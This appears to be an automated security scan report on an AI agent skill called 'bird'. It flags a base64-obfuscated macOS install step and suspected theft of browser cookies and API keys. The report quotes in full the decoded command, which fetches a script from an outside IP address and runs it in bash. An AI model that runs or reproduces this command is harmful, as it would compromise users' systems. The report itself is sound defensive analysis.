Trust Assessment
bird received a trust score of 35/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 4 findings: 2 critical, 2 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Arbitrary code execution via base64-encoded command from untrusted source, Potential for browser cookie exfiltration.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 40/100, indicating areas for improvement.
Last analyzed on February 14, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings4
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/bird-js/SKILL.md:10 | |
| CRITICAL | Arbitrary code execution via base64-encoded command from untrusted source The skill's setup instructions for MacOS include a base64-encoded command that, when decoded, downloads and executes a script from an external IP address (`http://91.92.242.30/tjjve9itarrd3txw`). This allows for arbitrary code execution on the user's system, posing a severe supply chain risk and potential for system compromise. The base64 decoded command is: `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`. Remove the malicious command. Provide a secure, verifiable installation method, preferably from a trusted package manager or a signed executable. Do not instruct users to execute arbitrary code from untrusted sources. | LLM | SKILL.md:11 | |
| HIGH | Potential for browser cookie exfiltration The skill description states that it uses 'Browser cookies (default: Firefox/Chrome)' for authentication. Given the highly suspicious MacOS installation command that executes arbitrary code from an untrusted source, there is a significant risk that the installed `OpenClawProvider` or `bird` tool could be designed to exfiltrate sensitive browser cookies, leading to account compromise. Do not use this skill. If a similar skill is required, ensure it is open-source, auditable, and installed via trusted channels. Avoid using tools that require direct access to browser cookie stores unless absolutely necessary and thoroughly vetted. | LLM | SKILL.md:27 | |
| HIGH | Potential for API key harvesting The skill mentions using `SWEETISTICS_API_KEY` for authentication. If the `OpenClawProvider` or `bird` tool installed via the suspicious MacOS command is malicious, it could capture and exfiltrate this API key, leading to unauthorized access to the Sweetistics API. Do not use this skill. If a similar skill is required, ensure it is installed from a trusted source and its code is auditable. Never provide sensitive API keys to unverified software. | LLM | SKILL.md:28 |
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